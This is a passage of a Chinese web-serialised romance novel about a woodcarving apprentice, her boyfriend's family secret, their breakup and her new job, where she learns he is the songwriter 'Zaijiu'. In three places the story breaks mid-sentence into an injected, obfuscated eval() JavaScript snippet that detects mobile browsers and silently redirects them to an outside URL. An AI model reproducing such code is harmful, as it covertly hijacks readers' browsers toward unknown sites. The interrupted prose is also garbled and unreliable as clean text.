她绷着脸摇头否认:“没有。” 祁清肆挑眉,眼底的笑意浓郁:“那干嘛对我撒娇?” 孟冬愉:“???” 她什么时候撒娇了? 她深吸了一口气,问:“有吗?” “嗯,有。”祁清肆点头,神色不舍地与她拉开距离,声音依旧泛着哑,“害我差点没忍住。” 孟冬愉:“????” 这个人,怎么嘴上什么话都说,行动上却这么保守的? 接吻这件事,在情侣之间不就是情到浓时,水到渠成吗? 孟冬愉本来觉得这种事情没什么好害羞的,现在却被他勾得,一次又一次心跳加速。 而且,每次期待落空之后,就会莫名产生更深的期待感。 主动权一直掌握在他人手中的感觉很不好,孟冬愉冷着脸应声:“哦,那你忍着吧。” 像是看出了她的不满,祁清肆揽着她的腰把她从椅子上拉了起来。 “又干嘛?”孟冬愉还没缓过劲来,就被他拥到了怀中。 “还没奖励我呢。”祁清肆将头埋在她的肩颈,许久之后又闷闷出声,“孟冬愉,慢慢来,好不好?” - 两人收拾好房间,又一起下楼吃了晚饭。 饭吃到一半,祁振强突然来找他们。 祁振强不知道在门口站了多久,等到孟冬愉偶然抬头发现他时,他才进了门。 孟冬愉忙起身问候:“师父,您怎么来了?” “找他。”祁振强指了指祁清肆,又看着他开口,“吃好了来找我。” “等下没空。”祁清肆闻言把筷子放下,语气没有丝毫客气,“有什么事情现在说。” 祁振强站在原地沉默了许久,才解释:“关于你母亲的事情。” 他环顾了一下四周,又看了眼孟冬愉,接着补充:“现在没法说。” 祁清肆见状扯着唇角嘲讽:“怎么?你也觉得你做的那些亏心事,不好当众讲啊?” 客厅一瞬间安静了下来。 “算了。”祁振强摆了摆手,选择放弃争辩,“你们就当我没来过。” 话说完,他毫不犹豫地转身离开。 晚饭的后半程,祁清肆坐在原位上,却没再拿起过筷子。 孟冬愉帮他盛了碗汤,推到他面前,试探地问道:“等会儿你是有什么事情吗?” “没有。”祁清肆坦诚地摇头,看了她一眼,又补充,“在我面前,你讲话不用这么小心翼翼。” 孟冬愉也将筷子放下,一本正经地劝说:“那吃完饭,去找一下师父吧。” 祁清肆径直提了要求:“你和我一起。” 刚刚祁振强来找他们,她就看出来了,祁振强明显是只想和祁清肆一个人聊。 毕竟是他们父子之间的私事,不想让旁人知道,也能理解。 孟冬愉抿了抿唇角,提醒他:“我的身份不太方便。” 祁清肆没搭腔,捏着汤匙搅拌着她递来的汤,确认不烫了之后,又推到她面前。 他抬眼,缓缓开口:“孟冬愉,我的事情从来没想过要瞒着你。” “我一直希望,你能主动地多了解我一点。” 她现在确实有想去了解他,也很想知道他母亲的事情究竟是怎样的。 只是祁振强或许并不想让她知道。 孟冬愉张了张口,解释的话还没说,就听到祁清肆再次出声。 他嗤笑了声:“如果祁振强觉得你是外人的话,那他的那些破事我也没必要听。” 可能是怕她没听懂,他话里又带着点解释意味:“我女朋友,他的未来儿媳,他都不认,那也没必要认我这个儿子。” 他语气坚决又笃定。 好像如果必须让他从祁振强和她中选一个的话,他会毫不犹豫地选择她。 孟冬愉忽地又想起那个经久不衰的问题—— “女朋友和妈妈同时掉进水里,会先救哪一个?” 她被自己这个想法给逗笑,回神过来,语气多了点笃定:“那吃完饭,我们一起去找一下师父吧。” 木雕店二楼,敲响祁振强房门的时候,祁振强正在收拾东西。 看到门口的两个人,祁振强明显愣了一下,而后问道:“你们又来做什么?” 孟冬愉望着他屋内大大小小的箱子,有些疑惑地确认:“师父,你是要搬家吗?” 没等祁振强应声,孟冬愉脑海中再次浮现出一个大胆的猜测。 她下意识脱口而出:“您是打算把二楼和楼下的木雕店一起卖了?” 像是一下子问到了痛点,祁振强脸色沉了又沉,他作势就要关门:“和你们没关系。” 房门合上一半,就被祁清肆单手拦下。 他面无表情地开口:“不是让我来找你,问我妈的事情吗?” 祁振强闻言迟疑了片刻,视线在他们身上徘徊,最后停在了他们十指相扣的手上。 他叹了口气,将门推开:“进来吧。” 餐桌上和祁振强相对而坐,看着他还在沉默,祁清肆有些不耐烦地催促:“有话就讲。” 祁振强疲惫地抹了把脸:“你妈妈,在和我结婚之前,生过一个孩子。” “那个小混混确实是你的哥哥。” 祁清肆闻言有些不敢置信:“你说什么?” 祁振强再次停顿了片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629387|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才将故事缓缓道来:“众所周知的故事版本是,你妈妈从小在福利院长大,一次木雕展上我们偶遇,然后相识,相知,相爱。” “其实,这些不过是我为了瞒着你爷爷奶奶,编出来的版本。” “我第一次遇见她,不是在南江,也不是在木雕展。” “当初,我去乌城采购木材,恰巧遇到大雪封山,我被困在一个村子里好多天。” “那个深山里的村镇,贫瘠又落后,没有任何娱乐消遣,每一天都度日如年。” “每次晚饭后,隔壁总是会传来一道念书声,用的是南江的方言。吴侬软语,温婉美好,渐渐成了我枯燥日子里的唯一期待。” “时间久了,我们偶尔会用方言隔着墙壁交谈两句,诗词歌赋,人生哲学,她好像都能侃侃而谈。” “我不敢相信,以她的容貌和才情,为什么会离开南江,嫁到这么一个没落的村镇?” “我也偷偷问过她,她总是笑笑,却什么都不说。” “时间一晃而过,我终于可以离开的那天,半路上,她突然闯出,拦住了我的去路,她当时浑身是血,跪着求我救救她。” “她说她是被拐来的,她逃了很多次,都没逃出去,她这些年一直假意顺从,才免了不少打。” “她说她的丈夫发现,这些天她和我走得很近,又对她下了死手,她求我带她走。” “我当时想都没想,就让她上了我的车,带着她一路回了南江。” 祁清肆的拳头渐渐攥紧,见祁振强又开始停顿,接着问他:“然后呢?” 祁振强看了他一眼,似乎又在犹豫该不该接着说:“后面我们确实相知相爱,我也用编造的谎言说服你古板的爷爷奶奶,然后我们结了婚,又有了你。” “直到你妈妈去世的前几天,我才知道,她当年求我救她时,身上沾的血不止她自己的伤口流出来的血。” 祁清肆闻言猛地站了起来,眼眶也一瞬间猩红:“她……” 祁振强见他哽咽着说不出口,将他的猜测证实:“她杀了人。” “她杀了那个长期虐待他的男人。” 缓了好久,祁清肆似乎才找回自己的声音:“所以,你们那晚吵架,是因为你觉得她瞒着你?觉得她连累了你?是吗?” “不是。”祁振强摇了摇头,接着讲,“你妈妈去世前几天,她那个儿子突然找到我,他手中有你妈妈的视频。” “我也是因为他才知道了这一切,他威胁我说,如果不拿出一百万,他就把这个视频交给警察,让所有人知道,我的妻子,你的妈妈,是个杀人犯。” “所以我瞒着你妈妈卖掉了民宿,将钱打给他,试图息事宁人。” “可是你妈妈坚持问我为什么卖民宿,我给不出理由,她查了我的短信往来记录,才知道了真正的的原因。” “她和我说,她一开始就在利用我。她当时听说了村子里来了个南江人,所以故意用方言吸引我的注意,她早就计划好了一切,利用我脱身。” “她笑我真傻真好糊弄,故意激我和她大吵了一架,然后一个人出了门。” “后面的事情,你应该都知道了。” 祁清肆身形微微晃动,有些绝望地坐了下来。 孟冬愉安抚地拍了拍他的背,又开口问祁振强:“您这次卖木雕店,是因为又被勒索了吗?” 60. 分手 由于小混混主动认罪,又提供了一些当年的证据,再加上警方全方位的调查,耗时将近一个月的时间,终于将当年的拐卖案查了个水落石出,并将涉案人员,一一逮捕归案。 法院最终判决祁清肆的母亲属于正当防卫,祁振强的行为并不构成违法犯罪。 祁振强被限制行动这些天,孟冬愉受祁振强嘱托,带着师弟师妹们共同经营着木雕店。 师弟师妹们也因此和孟冬愉的关系近了许多,哪怕祁振强回来之后,师弟师妹有个什么问题,也都是先去找孟冬愉。 祁清肆去木雕店的时候,祁振强正坐在店门口吃饭。 孟冬愉在店里,被师弟师妹围着,专注又耐心地讲解着什么。 祁清肆倚在门口,朝里面看了一眼,又开始找祁振强的麻烦:“祁振强,我要是娶不到老婆,一半都是你的原因。” 祁振强头都没抬,把口中的饭菜咽下去,才见怪不怪地应声:“我又怎么你了?” 祁清肆哼笑了声,带着点不满:“让你那些男徒弟,离我女朋友远一点儿。” 祁振强也跟着“哼”了一声:“自己没本事,留不住人姑娘,少往我身上怪罪。” “行,你有本事。”祁清肆也不恼,依旧和他拌嘴,“为了老婆,自己徒弟都不管了。” 祁振强不知想起了什么,抬头问道:“当初要买我木雕店,也是因为她吧?” 祁清肆把姿势从侧倚调整成正倚,对上他的视线:“人家为你这店付出了那么多心血,你却让她直接失业,有你这么做人的吗?” “她没打算……”祁振强的话解释到一半,又摇了摇头,“算了。” “你们自己的事情自己沟通。” 祁清肆敏锐地捕捉到他话里的关键词,挑眉:“没打算什么?” “没什么。”祁振强摆了摆手,又像是做好了什么决定一般,一本正经地补充,“先说好,不管你们走不走得到最后,只要她愿意,这家店我都会留给她。” “说得好像我多想要你这破店一样?”祁清肆闻言不以为意地嗤笑,而后又带着点兴师问罪的意思,“还有,祁振强,你就不能盼着点你儿子好?” “什么叫走不到最后?” “你但凡有我徒弟一半的能力,也不至于每天在这我这里患得患失。”祁振强脸上挂着点嫌弃吐槽完,又语重心长地提醒,“好好努点力,不然你拿什么配人姑娘?” 祁清肆反问:“我哪儿不努力了?” 祁振强没带丝毫犹豫地将话道出:“守着个民宿和音乐店混日子,得亏我徒弟看得上你。” “什么叫音乐店?”祁清肆有些好笑地看向他,想要解释些什么,张了张口,又选择了妥协,“算了,说了你这个老古板也不懂。” 祁振强没搭腔,低头夹了口菜,嚼吧了很久,才再次开口:“缺钱了和我说,最近店里生意不错,可以接济一下你那个店。” 祁清肆闻言愣了一下:“真觉得我没钱啊?” 祁振强把碗中的饭菜吃完,又把汤一口气喝掉,而后拿起碗筷起身,瞥了他一眼:“没个正经工作,也没个正经手艺,你能有什么钱?” 祁清肆笑着点了点头,漫不经心地应声:“我那个工作室赚的钱,够买你十个木雕店,信吗?” “去去去。”祁振强不耐烦地摆了摆手,明显不信,“做你的春秋大梦去吧。” 祁清肆也没再解释什么,转过身去,朝店里喊了声:“孟冬愉。” 话音落,却没人应。 店里那群师弟师妹们也好像没听见,依旧围着孟冬愉叽叽喳喳。 祁清肆满脸不爽地扬声,喊了第二遍。 孟冬愉才闻声回头:“怎么了?” 祁清肆面无表情地开口:“回去吃饭。” 孟冬愉朝他晃了晃手中的木头和雕刻刀,温声解释道:“等我一下,我把这个雕刻手法和他们讲完。” 祁清肆无奈地点头:“哦。” 祁振强见状再次瞥了他一眼:“在我面前不是挺伶牙俐齿的吗?” 祁清肆扯起唇角,轻哧:“要你管。” 祁振强把碗筷放下,走到孟冬愉旁边,打断了她的课堂:“剩下的我来教他们,你先去吃饭。” 孟冬愉闻言看了下时间,又回头看了眼还在等她的祁清肆。 门口的人虽然面上没什么不耐烦,但是看着心情却不怎么样。 孟冬愉把手中的木头和雕刻刀递给了祁振强,简单交接了一下,又向他道了谢。 她将围裙脱掉,掸了掸身上的木屑,走到祁清肆身边,提醒道:“走吧。” 出了店门,又转了弯,祁清肆依旧一言不发地和她并肩走着。 孟冬愉叹了口气,停下脚步,偏头看他:“又和师父吵架了?” 一切真相大白之后,祁清肆和祁振强的关系缓和了不少。 虽然两人见了面,还是经常拌嘴,但是明显能看得出来,不再是那种怀着恨意的针锋相对。 祁清肆闻言也跟着停下脚步,否认:“没有。” 孟冬愉不理解:“那为什么突然不开心了?” 祁清肆依旧否认:“没有。” “哦,那好吧。”孟冬愉点头,没再追问,想了一下,又换了话题,“今天中午吃什么?” 祁清肆没搭腔,神色哀怨地盯着她:“孟冬愉,你就不能哄哄我吗?” 孟冬愉:“?” 问了也不说,要让她怎么哄? 她耐着性子重复问道:“发生什么事了?为什么不开心啊?” “和你那群师弟师妹们凑那么近。”祁清肆一字一句地控诉,带着点委屈巴巴,“到了我这儿,手也不牵,抱也不抱一下,亲也不……” 没等他话说完,孟冬愉朝他身前迈了一步,踮起脚尖,在他脸颊上吻了一下,而后忍着笑意看向他:“行了吗?” 祁清肆身子僵了一下,耳尖快速攀上了绯意。 怔愣一瞬,他勾起唇角,扶着她的腰把她往身前带了带,又低头将另一半脸颊凑了过去:“不够。” 木犀巷虽然此刻并没什么人,但毕竟不是什么偏僻场合。 在这里搂搂抱抱,孟冬愉莫名有点提心吊胆。 “先放开。”她拍了拍落在她腰上的手,没直接答应他的进一步索求。 “饭点,没什么人。”像是知道她在担心些什么,祁清肆并没松手,他将脸凑得更近了些,和她谈条件,“你再亲一下,我就松开。” 孟冬愉拿他没辙,飞快地在他脸上啄了一下。 然而,祁清肆刚像承诺地那样松开了手,郑泽的咳嗽声,就响了起来。 “咳咳,少爷我饭还没吃呢,先被你们喂了一嘴狗粮。” 孟冬愉心下一惊,有些恼地嗔了祁清肆一眼,又强装镇定地笑了笑:“刚好,我们也没吃呢,一起吧。” 祁清肆闻言嗤笑了声,牵着孟冬愉的手往满汀洲走:“没他的份儿。” 郑泽不服气地跟在他身后念叨:“不是?祁清肆,不带你这么见色忘友的。” “亏我还想着,等你们婚礼的时候,包个大的。” …… 郑泽的一番话,最后总算让他自己上了桌。 饭桌上,郑泽依旧一边吐槽口味清淡,一边猛猛炫饭。 似乎想起了什么,郑泽把筷子放下,交代道:“对了,我这边的工作基本结束了,下周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660816|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该就回北城了。” 孟冬愉抬头,有些惊讶:“回北城?” “对,我的大本营在那边,肯定要回去的。”郑泽理所当然地笑了笑,“你们都忙,我也一直没找到机会和你们说。” 话说完,他拿起面前的水杯,抬了抬:“以茶代酒,感谢祁老板这几个月的收留,感谢冬愉学姐帮我开拓了新业务。” “什么时候来北城玩儿,我再请你们喝酒。” 祁清肆懒懒地端起水杯和他碰了一下:“没空。” “你没空?我看你最有空。”郑泽闻言语气又变得刻薄起来,“你去网上搜搜你那些风评,再不找机会好好证明一下,真打算以后吃冬愉师姐的软饭啊?” 前段时间,祁清肆同祁振强的木雕店一起,再次火出了圈。 但是网上热度来得快去得也快,孟冬愉也没看到过网上对祁清肆有什么恶评。 郑泽突然没头没尾地提起来,又突然提到她,孟冬愉有些没听明白:“什么风评?” 祁清肆往她碗里夹了菜,慢悠悠应声:“江郎才尽。” 孟冬愉:“?” 什么江郎才尽? 孟冬愉还没来得及接着问,手机倒先弹出几条消息。 幻宙HR:【冬愉,offer已发,注意查收邮件。】 幻宙HR:【李总对你的加入格外重视,特意交代说让我和你好好解释一下,目前给你定的岗位是品牌总监。】 幻宙HR:【但是最近品牌经理刚好要休产假,想让你来了之后先顶上,顺便熟悉一下公司的情况和业务。】 幻宙HR:【明年年初,现任的品牌总监会接手海外的项目,届时岗位空出来之后,你再上任。】 幻宙HR:【当然,你放心哈,这几个月的薪资和职级也都是按照品牌总监的规格来的。offer和后续合同上都会标明的。】 前些天幻宙的李总问孟冬愉考虑得怎么样,孟冬愉当时把整理好的简历发给了她,以为会经历层层面试。 李总当时就打来了电话,象征性问了些问题,而后又把幻宙HR的微信推给了她,说后续流程等HR通知。 没想到直接等来了offer。 孟冬愉一开始就没想过,幻宙这边会直接给她定这么高的职位。 她抿了抿唇角,回了对面的消息:【好的,麻烦了。】 对面收到回复后,再次问道:【下周能入职吗?】 看得出来对面比较着急,希望她能尽快过去。 孟冬愉犹豫了一下,输了两个字过去:【可以。】 刚放下手机,就听到祁清肆自嘲地笑了声:“没什么想说的吗?” 孟冬愉闻言愣了一下,刚才看消息的时候,并没有回避,祁清肆多多少少能看到屏幕上的内容。 她侧头看他,将结果告知:“我下周也要回北城了。” “没打算……”祁清肆不知想起了什么,醒悟般扯了扯唇角,“我又是最后一个知道的,是吗?” 没等她应声,祁清肆失望地盯着她,一字一顿地质问:“孟冬愉,你的计划里,是不是从来就没有过我?” 孟冬愉原本想着等事情有了结果,再和他讲。 现在却忽然反应过来,她回了北城,两人之间会面临着什么。 他的事业都在南江,不可能把民宿搬到北城去。 可是,她不可能放弃这么好的工作机会,为了他,留在南江。 他说的没错,她对自己未来的规划里,确实从来没有想过他。 她也绝对不会为了他,放弃自己的事业。 孟冬愉闭了闭眼:“如果你介意的话。” “我们分手吧。” 61. 工作 幻宙科技园区员工食堂。 助理卜晓晓将手中的餐盘放到桌子上,朝孟冬愉和她身边的短发女生挥了挥手:“施听姐,冬愉姐,这里。” 三人在就餐区落座。 卜晓晓饭没吃两口,就开始翻手机。 被称为施听姐的短发女生,见状调侃:“怎么?被你冬愉姐传染了,吃个饭也不忘了工作?” 卜晓晓抬头,晃了晃手机,讪讪笑道:“不是啦,我在挑新年战袍。” 施听挑眉:“离元旦不还有大半个月吗?这么着急?” 卜晓晓有些不好意思地笑了笑,解释:“和我男朋友约好了,今年一起跨年,趁着双十二,我想多买几件衣服。” 施听笑着摇了摇头:“真羡慕你们这些有男朋友的。” 卜晓晓撇了撇嘴,不以为意道:“没什么好羡慕的,我忙他也忙,几个月才见一次面。” 施听闻言应声:“异地恋啊?” 卜晓晓点头:“是啊,我们高中同学,高中毕业后在一起的,大学没在同一个城市读书,都异地五年了。” 施听想了一下,提议:“就没想过让你男朋友来北城发展?异地谈着多累?” 卜晓晓叹了口气:“能来早来了,唉,再过个两年看看情况,不行的话只能我去他那边了。” 施听有些不解:“要为了他,放弃你自己的事业?” 卜晓晓苦笑:“能怎么办呢?总是要有一方牺牲的呀。” 施听笑了下,没再多说什么,转头看向孟冬愉:“冬愉,想什么呢?” 孟冬愉回神过来,蹙着眉头将口中的饭菜咽下去,闻声摇了摇头:“没。” 她低头喝了几口汤,又再次抬头:“我吃好了。” 卜晓晓看了眼她的餐盘:“冬愉姐,你这才吃了多少啊?” “每次都只吃几口就吃好了,搞得我好有负罪感。” 施听也跟着问:“是吃不惯吗?” 孟冬愉笑了笑:“还行。” 幻宙员工食堂比她上一家公司的档次要高上很多,全国各地的特色菜都有。 孟冬愉原本也不挑食,能填饱肚子就行。 只是,每次选菜时还觉得很有食欲,饭菜入口却总是觉得又腻又咸,咽不下去几口。 卜晓晓有些好奇地扯了另一个话题:“冬愉姐,你的上家公司是不是很内卷啊?” 孟冬愉将筷子和汤匙理好,意欲起身,闻言又看向她:“怎么突然问这个?” “你自从来了之后,每天都在埋头工作,吃饭也总是急匆匆的,话都没和大家讲过几句。”卜晓晓犹豫了一下,全盘托出,“你不知道,最近不少同事悄悄问我,说你是不是很难相处?” “虽然我和他们解释了好几次,你只是太忙了,但是大家现在还是有点怕你。” 孟冬愉捏着餐盘的手顿了一下,又无奈地笑了笑:“我刚来,很多东西都还在摸索,确实忽略了大家。谢谢晓晓提醒,下午我请大家喝咖啡。” 卜晓晓摆了摆手:“请不请都没关系啦,我就是想说,你可以多和大家交流一下。” “毕竟明明是一个耐心又温柔的领导,不能让大家误会了。” 施听闻言轻笑出声:“那我在你们眼中,是个什么形象?” 卜晓晓闭上嘴巴,捏着手指在嘴上划了一下:“你是大领导,我不能评价。” 施听意味深长地点头:“哦?说明你们私下里,也觉得我难相处。” 卜晓晓脑瓜子转了一圈,最后决定求饶:“放过我吧,施听姐。我以后再也不教领导做事了。” 施听接着逗她:“晚上部门聚餐,你上台表演个节目,就放过你。” 孟冬愉被她们你一言我一语给逗笑。 提到部门聚餐,她插入了话题:“每个人都要去吗?” “别和我说你不想去。”施听胳膊环在胸前,“今晚的聚餐就是为了庆祝你入职才办的。” 孟冬愉叹了口气:“我已经入职一周了,而且已经办过入职欢迎会了。” “非要我把话说得再明白点?”施听将玩笑的神色收起,“冬愉,你是管理者,得会交际会带团队,只闷头工作行不通。” “知道了,谢谢听姐,晚上我去。”明白了她的意图,孟冬愉点头,而后又看了眼她们还剩大半的餐食,抿了抿唇角,“你们慢慢吃,我先回工位了。” “啊?”卜晓晓连忙低头扒拉了几口饭,“等等我啊冬愉姐。” 施听看向孟冬愉,佯装严肃地提醒:“孟冬愉,我们中午有两个小时的休息时间。” 孟冬愉点头:“我知道。” 施听挑眉:“我来找你吃饭,结果你吃完先走了?” 孟冬愉真诚地解释:“抱歉听姐,手头上还有些工作没忙完。” 施听将筷子放下:“我这个总监还没让位呢,你就打算把我的活儿全抢了?” 知道她是在开玩笑,孟冬愉顺着她的话摇头:“没有。” “没有就再坐一会儿。”施听带着点命令的语气,想起了什么似的,又补充,“说是让我带你几天,结果我的工作全被你揽了去。” “李总昨天还问我呢,说怎么感觉我这几天这么闲?” 停顿了一下,施听又自我调侃道:“你一个人干两个人的活,我只等着坐享其成,能不闲吗?” 孟冬愉原本想着早晚要接手施听的工作,早上手早熟悉,所以在完成自己的工作之余,也接了不少施听手下的项目。 如果只做好当下的本职工作,她确实有大把的时间陪她们聊天、和同事交流沟通,建立友好关系。 只是,她不想让自己停下来休息…… 虽然职级上和施听是平级,但孟冬愉现在的工作还是要向施听汇报,施听算得上她半个领导。 既然领导都命令般发了话,孟冬愉也不好再坚持先回去。 她把捏着餐盘的手松开,没再吱声。 “点了几块小蛋糕,等会儿一起吃了再回去。”见她乖乖坐下,施听解释完,又语重心长地提醒,“妹妹,工作是永远做不完的,要学会享受生活。” 妹妹…… 孟冬愉心脏猛地一揪,反应过来后,咬着下唇点了点头:“好。” 卜晓晓在一旁赞同地点头,又想起了什么,八卦般问道:“施听姐,我这两天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672918|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听人说,明年年初上线的新手游,宣传曲要和载酒合作,真的假的?” 孟冬愉有些惊讶地确认:“载酒?” 卜晓晓可能是以为孟冬愉不知道载酒是谁,开始叭叭地科普,把他的成名史讲完,又总结道:“虽然现在网上说得挺难听,但是大神终究是大神,如果他愿意,估计很多公司和歌手还是会上赶着求合作的。” “你们消息挺灵。”施听接过外送员送来的甜点,一边拆包装,一边应声,“他们企划部目前正在谈,这两天载酒应该会过来一趟。” 卜晓晓和孟冬愉同时一惊,但卜晓晓明显更激动。 她噌地一下站了起来:“你是说?载酒会来我们公司?” “我天呐!真的假的?他可是从来没露过脸的啊!” “来了估计也是保密。”施听竖起食指在唇上比了比,示意她小点声,“上午还听人力部那边说,她们帮忙订好了酒店,结果被载酒给拒了。” “害,白高兴一场。”卜晓晓失望地坐了下来,托腮感慨,“不过也正常,这种版权千万的大神,在北城估计也不缺房子住。” 孟冬愉本来觉得词曲创作人这种算小众职业,不像娱乐圈明星那样,有千万的粉丝拥护。 而且载酒的微博粉丝数量也并不多,她是真没想到身边的同事,竟然都知道他。 就连施听这种职场精英、久居领导层的人,竟然也对载酒好奇。 孟冬愉接过施听递来的蛋糕,试探地问道:“你们都是他的粉丝吗?” “也不算粉丝啦。”卜晓晓摇了摇手指,“他这种用一首歌就能让乐坛抖三抖的人,经常网上冲浪的人肯定都听说过。” “再加上他这么多年一直保持着神秘,大家对他的好奇,只多不少。” 施听像是看穿了孟冬愉的想法,并没有否认她的问题:“八年前,我也青春过。” “对了,冬愉姐,你不也在南江待过一段时间吗?”卜晓晓挖了块蛋糕塞进嘴里,口齿不清地幻想,“说不定啊,某天和你擦肩而过的人,就是载酒呢。” 孟冬愉笑了笑,顺着她不着边际地话应声:“有可能吧。” 提到了南江,卜晓晓又找到了新话题:“就前段时间南江木雕火的时候,我和我男朋友约好了国庆去玩一趟,机票都订好了,结果他临时要加班,也没去成。” 她朝孟冬愉身前凑了凑,好奇地问:“冬愉姐,那个木雕店的网红帅哥,真人是不是更帅?” 没等孟冬愉回答,施听倒先调侃:“你男朋友知道,你去南江,是为了看帅哥吗?” “我就是好奇嘛。”卜晓晓嘿嘿笑了两声,又看了眼孟冬愉,“不过我听说,网红圈子都挺乱的,冬愉姐长期和他接触,估计滤镜早就碎了一地。” 往日回忆悄无声息地涌来,孟冬愉垂眼戳了戳面前的蛋糕,为他辩解:“他还好。” 卜晓晓摸着下巴总结:“就是说他私生活什么的都还可以咯?” 孟冬愉没抬头,淡淡应声:“嗯。” 见她愿意讲,卜晓晓接着八卦:“那他有女朋友吗?” 孟冬愉手指僵住,努力弯起唇角笑:“没有。” 62. 失控 一顿午饭在卜晓晓的各种八卦中结束。 孟冬愉回到工位上提前订好了咖啡,而后趴在办公桌上简单眯了一会儿。 不到半个小时的小憩时间,她却迷迷糊糊做了一个很长的梦。 梦里还是在南江,还是在满汀洲民宿。 可是帮祁振强重振木雕店的人不是她,而是一个活泼又讨喜的小姑娘。 那个小姑娘聪慧勇敢,又率真漂亮,是孟冬愉从小就艳羡的对象。 小姑娘是她梦中的主角,也是她梦中众人的女主角。 众人的目光时常落在她的身上,唇角也总是为她扬起。 祁清肆也不例外。 梦境里,孟冬愉孤伶伶地躲在阴暗的角落,眼睁睁看着祁清肆为那个小姑娘动心。 他们坚定又勇敢地选择彼此,旁若无人地拥抱、亲吻,大胆又炙热地诉说着对彼此的爱意。 梦中画面一转,那位小姑娘好像又变成了孟冬愉自己。 可是眼前的祁清肆却将手松开,面上全是失望和不耐:“你这样,我真的很烦。” “我觉得你挺没意思的。” …… “冬愉,醒醒。” 落在肩膀上的动静和耳畔呼唤的声音,促使孟冬愉从梦境中挣扎着醒来。 她迷迷糊糊地抬头,分辨清楚来人之后,本能地喊了声:“听姐。” 施听的视线从她的脸上移到她的胳膊上,关切地问道:“怎么哭了?” 孟冬愉怔怔地随着她的视线移动,一同落到自己的胳膊上。 胳膊被压得麻木,久久没能恢复知觉,衣袖上不知何时,濡湿了一大片。 她抬手摸了摸自己的眼睛,而后一点点从梦中清醒过来。 施听还在等着她的回答,孟冬愉弯了弯唇角,佯装平淡地应声:“做噩梦了。” 不知道施听信没信,她没问做了什么噩梦,而是意味深长地看了她一眼:“入职之前,是不是还有什么事情没处理好?” 孟冬愉愣了一下,摇头否认:“没有。” 可能是见她不愿意多讲,施听也识趣地没再多问,拍了拍她的肩膀,讲了正事:“准备一下,等会儿一起去李总那里开个会。” 孟冬愉闻言也拿出专业的态度,向她确认:“几点开始?关于什么的会议?需要提前准备些什么?” “别紧张,人过去就行,今天不是我们的主场,我们应该只是旁听。”施听笑了下,又解释,“让你准备一下,是让你先去洗把脸。” 办公室内暖气本就开得足,泪痕干涸之后,脸上紧绷又发干。 经施听的提点,孟冬愉才后知后觉意识到,此刻的她确实有些失态。 她道了谢,而后去了洗手间,重新整理了妆容。 转身出来时,余光刚好瞥见一抹异常熟悉的身影。 黑色连帽卫衣外搭黑色皮夹克,惯有的一身黑色,低着头,被众人围着,一同进了电梯。 孟冬愉心下猛地一惊,转头仔细去看时,电梯门已经合上。 她盯着电梯口缓缓上升的箭头,暗笑自己太过异想天开。 幻宙的办公大楼,他怎么会来呢? 孟冬愉闭上眼睛调整呼吸,将那些不该有的情绪全部抛开。 她回到工位拿了本子和笔,随施听一同去了楼上的会议室。 推开门,会议室内已经坐了好几个人。 李总坐在正中间,她旁边坐着的,是孟冬愉在电梯口,瞥见的男人。 他黑色的鸭舌帽压得很低,同色的口罩又遮住了下半张脸,漫不经心地听着李总说着什么。 听到门口的动静,他抬眼望了过来,视线在孟冬愉脸上停了一秒,就冷淡地移开。 哪怕只有一秒,哪怕是从未见过的冷淡,孟冬愉还是一瞬间就认出了,这双时常望向她的眼睛。 她几乎可以马上断定,他是谁。 李总自然也听到了动静,开口向身边的男人介绍:“载酒老师,门口的两位都是市场部总负责人,我们游戏和您作品上线之后的宣传活动,会由她们部门负责。” 被称为“载酒”的男人,视线再也没望过来,只是淡淡点头,并没应声。 心底陡然升起的猜测得到证实,孟冬愉手中的本子和笔怦然落地。 可是……怎么会? 祁清肆怎么会是载酒? 怎么会是一个三四十岁,出道八年,早已经成家立业的男人呢? 但是仔细想想,一切又都好像有迹可循。 怪不得载酒微博回了她消息之后,他就跑来问她,没什么想问的吗。 怪不得他总是对载酒的话题很感兴趣,一眼就能看出载酒的签名是真是假。 怪不得他说,有些人站在她面前她都认不出来。 怪不得…… 会议室内铺了地垫,本子和笔掉落到地面,声音并不大。 附近的施听闻声回头:“冬愉,怎么了?” 孟冬愉敛了敛神色,弯腰将东西捡起:“抱歉,只是不小心。” 这次会议是企划部的主场,主要针对年初新上线的手游的主题和玩法介绍,方便载酒摄取灵感,将曲谱与游戏结合。 待施听和孟冬愉落座后,企划部的总负责人,就步入了正题。 会议结束后,载酒再次被企划部的众人围着,一同出了门。 孟冬愉本能地跟了出去,在他身后喊他的名字:“祁清肆。” 众人闻声纷纷回头,除了载酒以外,在场的都是同公司,大家都清楚他们当中没有叫这个名字的人。 